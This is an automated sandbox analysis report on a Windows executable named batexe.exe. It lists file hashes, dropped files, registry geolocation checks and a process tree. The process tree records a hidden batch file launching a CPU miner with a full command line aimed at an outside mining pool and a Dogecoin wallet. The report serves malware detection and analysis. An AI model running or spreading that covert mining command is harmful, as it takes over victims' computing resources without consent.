73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20/02/2024, 19:59

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
1124	b2e.exe
1988	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1988	cpuminer-sse2.exe
1988	cpuminer-sse2.exe
1988	cpuminer-sse2.exe
1988	cpuminer-sse2.exe
1988	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3876-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3876 wrote to memory of 1124	3876	batexe.exe	85
PID 3876 wrote to memory of 1124	3876	batexe.exe	85
PID 3876 wrote to memory of 1124	3876	batexe.exe	85
PID 1124 wrote to memory of 2220	1124	b2e.exe	86
PID 1124 wrote to memory of 2220	1124	b2e.exe	86
PID 1124 wrote to memory of 2220	1124	b2e.exe	86
PID 2220 wrote to memory of 1988	2220	cmd.exe	89
PID 2220 wrote to memory of 1988	2220	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3876
- C:\Users\Admin\AppData\Local\Temp\7407.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7407.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7407.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7743.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2220
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7407.tmp\b2e.exe

Filesize
17.6MB

MD5
d5d3159ec7298125752399c4b55489a9

SHA1
1c3e6517d46690f8575b916342ee4f32d5981b42

SHA256
a657618ba5660adcd9d2981e4584e6eeff112aab65a1d61eaa1f40f64ec2e874

SHA512
e3d08f88bf4c66b78cf6bd794b64022b69523456c1181d423514202a29b9afe2515951c1f9c536e497b932bae76603d2bd303495b3dff52df4e89f8caf7a43f9

Download Submit
C:\Users\Admin\AppData\Local\Temp\7407.tmp\b2e.exe

Filesize
9.8MB

MD5
7d9aa6fd2b339fee5a698aa87e1f8079

SHA1
fc2a85ac4d2fb171f1b191fd7d1f2fa06a2553a4

SHA256
b32e97ecbad3bb35dfaa8ebddc9091da84ff22cf00eb95b0bc948673c1d5c093

SHA512
5f876acb42a4d730f43cd873cd7fdbb2f9432c5a1dbb8ddcdd929bfc107746705e9b3f0bd6d40d9c67b3999054dad891bd61008c9bbf78ff1a226e9d10ff7336

Download Submit
C:\Users\Admin\AppData\Local\Temp\7407.tmp\b2e.exe

Filesize
9.0MB

MD5
c0c5a6758e92f66b834a851f88b6e3b9

SHA1
b9d502ca57c9ae226ecbc81cb392a19a21c80398

SHA256
105f686a34201cc77564192692136ef178ddad01387ae5a34c79d2a7d0642062

SHA512
ea3593f10e788919b8d18a7170e46a1298fa8d3d49660d47605a742b7659ae0bf3bd6063a61b981de925c6087a585144dbdd713776522ac19c5da2857cf8af6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7743.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.1MB

MD5
f04e910c5afa3bb1b4387643293e0845

SHA1
7044330df949330a6585dbc9582de147d2b4f4b2

SHA256
42925e8d39dc2860c47f1fd58b5f7e90fe1b7f3d87d309f120b657babb4c9e13

SHA512
6db4b69a4e96aa33fc66a92281fbf0adaa95f73140af3480aca41c1450431eaccad28ef34afd1af112e986902148616fbc4498fc2c03d95677325567318b74a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.3MB

MD5
051ea1fa50d04e0f1c726b04acea67fb

SHA1
30308c09a0fb030fd056571bc1147a8c380c0d65

SHA256
fcbeb3649e4693a9b0b4b4a56245dfe5fb9191769e5f18b33e1bd4afe3c326e4

SHA512
43cb1445920a1d5aaadcdfab3bed315a234a75130c6199dedf315729c29aef9bcfee9298f7b7e4601e7a166e984fc662385455d67e049ca3ff60d33ec97f8505

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.3MB

MD5
2800ecce106fef0416a9793794cb3bd1

SHA1
3333e3a0303f9564d1de176f71f82b1ae2cd52df

SHA256
82e521eb31b4288b181889c31e477b49881d106d45dbab4ab6ed1d4312932171

SHA512
a6a7847cab32c36fcdac5b1bf82369c57a752993c7cf0d3e5efbd88c26a6ba5c8bb0e2b1917d9850e7f201fede329cded6b6de10c2b197a32c1f3f0a4c0aadab

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1124-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1124-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1988-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1988-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-45-0x000000005BE40000-0x000000005BED8000-memory.dmp

Filesize
608KB

Download
memory/1988-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1988-47-0x0000000001100000-0x00000000029B5000-memory.dmp

Filesize
24.7MB

Download
memory/1988-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1988-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3876-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download